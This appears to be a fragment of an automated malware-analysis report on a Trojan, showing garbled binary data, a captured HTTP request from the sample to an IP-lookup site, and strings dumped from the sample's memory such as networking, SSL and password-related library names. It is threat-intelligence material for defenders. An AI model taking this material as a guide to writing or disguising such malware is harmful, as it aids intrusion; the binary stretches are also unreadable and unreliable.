b2a...............n......?..,.....(KZ.....Q.2.J...A...5%...^;.c..T....~@..gZ.y./....sf..(.:....`9.s.s...~.G....7...f.g.x52.g..,]..M|....^. ...]...x^..F.<...o.?Z.... {f.2NnG...}......'.....#.,:.../G.'&...;9.z.9:>._.LN..#c..".:^...-H.0.:y..l..$.W..,./r.\..y.TL&.L.G..-..QF.O.$.(..$.h.f~...8.W..$f....|".8).5.....t...q~..}...Vg..uR:62.....4.w%._B...T...k?....}.....K.M.../.9....o............[........m..jI...a.(..8...n,.To...|F.....(.....I.. ....q&._L..l".'..j. .L-"..2k..sW8@:i.#..W.,-T...:K>.v?'_...}.K.y.}....b..>..Ig`.o........q5........r.w........1;@f}...].0....95...V..`..Q...3.......yH.'.c.NNN.%.t..U....{tK.h:"..1.,..c"`o.EA...r.x..z..1...=U....i%:.p.3..3.1.9..n_.......w.?.n....V... 4....FZ....*Q......r...].g.$.2QZm......g..0.2..k ..s nn.$...S..[..f. ...fi^.T...B..(.$T.3\^ R..wq.....llE}..P..e.W...%._..D...cc.$...R... ..fd,.0.V.......#..w.&.z.`..G] . C.....{.`...G..9....p...r.x.h..N(....:..f.\...@.7..).D..F`#.........f.p....2L.Z.......J.......M.`[...2ZE7.e.d.v..r.. .... .....djV..rZ...=.......d........o?....~...Q..h.......C".=v.o.K...0.~.C(.L...B.......>Z..y'......Q..I.....=Y.J....(^....Uu'...02....\S!..C...Z.... S.~.=\....z.....A.n......S..H.u).L.k.P...<Hb.Y....|u..N..8.....0.\'n......oC`...(....H.l..s....q.[7.`...1t....4.....X.us..~.1...Z.....e...-^t.;.d....3...}F.6......., SPu.V.....e......@...8.r..es.z...*m....5.*.2...h........R.%.^.Zc....4;.=.\.AS..OE..J.;.}.,..YE$.;k.........@]G.i..Ptq...;M...#V.AS.......>;.....-b;....YDH.W.#".@/.w.A......8.a..zH....,(.. `{..E.9...(."...v..F.xW...r...^..

<<< skipped >>>

GET / HTTP/1.1

Host: ip.catr.cn

Accept: text/html, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.0

X-AspNetMvc-Version: 3.0

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 08 Oct 2016 09:18:42 GMT

Content-Length: 2978

<!DOCTYPE html>..<html>..<head>.. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.. <title>......IP........................</title>.. <script src="/Scripts/jquery-1.9.1.min.js" type="text/javascript"></script>.. <script src="/Scripts/RouteInfo/Index.js" type="text/javascript"></script>.. <style type="text/css">.. a {.. text-decoration: none;.. }.. </style>..</head>..<body>.. <div style="width: 1000px; margin:auto;">.. <div>.. <img src="/Content/images/IPm_01.jpg" width="262" height="97" style="float:left;" /><img src="/Content/images/IPm_02.jpg" width="738" height="97" style="float:left;" /> .. </div>.. <div style="clear:both;"></div>.. <div style="width: 452px; margin-top: 89px; margin-left:auto; margin-right: auto;">.. <img src="/Content/images/IPm_06.jpg" width="452" height="47" />.. </div>.. <div style="margin-top: 67px; margin-left:auto; margin-right:auto; width: 357px;">..<form action="/Home/Context" id="search-form" method="post"> <table cellpadding="0" cellspacing="0">.. <tr>.. <td style="width: 287px;">.. <input type="text" id="searchKeyword" name="keyword" style="height:29px;width:270px;" value=".....................

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

AIKCJr.exe_1224:

`.rsrc

kernel32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

u%CNu

%s[%d]

1.2.8

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WS2_32.DLL

127.0.0.1

TIdSocketListWindows

TIdStackWindowsU

IdStackWindows

%s, %.2d %s %.4d %s %s

%s, %d %s %d %s %s

TIdEncoder3to4.Encode: Calculated length exceeded (expected

%Program Files%\Borland\Delphi7\Source\Indy\Source\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

password

Password

IdHTTPHeaderInfo

ProxyPassword

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

ftpTransfer

ftpReady

ftpAborted

ClientPortMin

ClientPortMax

Port

EIdCanNotBindPortInRange

EIdInvalidPortRangeSVW

libeay32.dll

ssleay32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

des_set_key

saUsernamePassword

Password

0.0.0.1

TIdTCPConnection

TIdTCPConnection0

IdTCPConnection

EIdTCPConnectionError

Vh8%C

Uh %C

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

RootCertFile

CertFile

KeyFile|3C

OnGetPassword

EIdOSSLLoadingRootCertErrorH?C

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

TIdTCPClient

IdTCPClient

BoundPort

PortU

CommentURL

TIdHTTPMethod

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

IdHTTPp

TIdHTTPOnRedirectEvent

TIdHTTPResponse

TIdHTTPResponse8

TIdHTTPRequest

TIdHTTPProtocol

TIdCustomHTTP

TIdHTTP

TIdHTTP4

HTTPOptionsl

EIdHTTPProtocolException

application/x-www-form-urlencoded

HTTPS

https

This request method is supported in HTTP 1.1

HTTP/1.0 200 OK

HTTP/

%d.%d.%d.%d

;8=$:$:$;

b~~z0%%cz$ik~x$id%

KERNEL32.DLL

NTDLL.DLL

TIdUDPBase

IdUDPBase

255.255.255.255

TIdUDPClient

IdUDPClient

Port

&tn

&unc

&vendor

&

&&

&

&Error

&

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps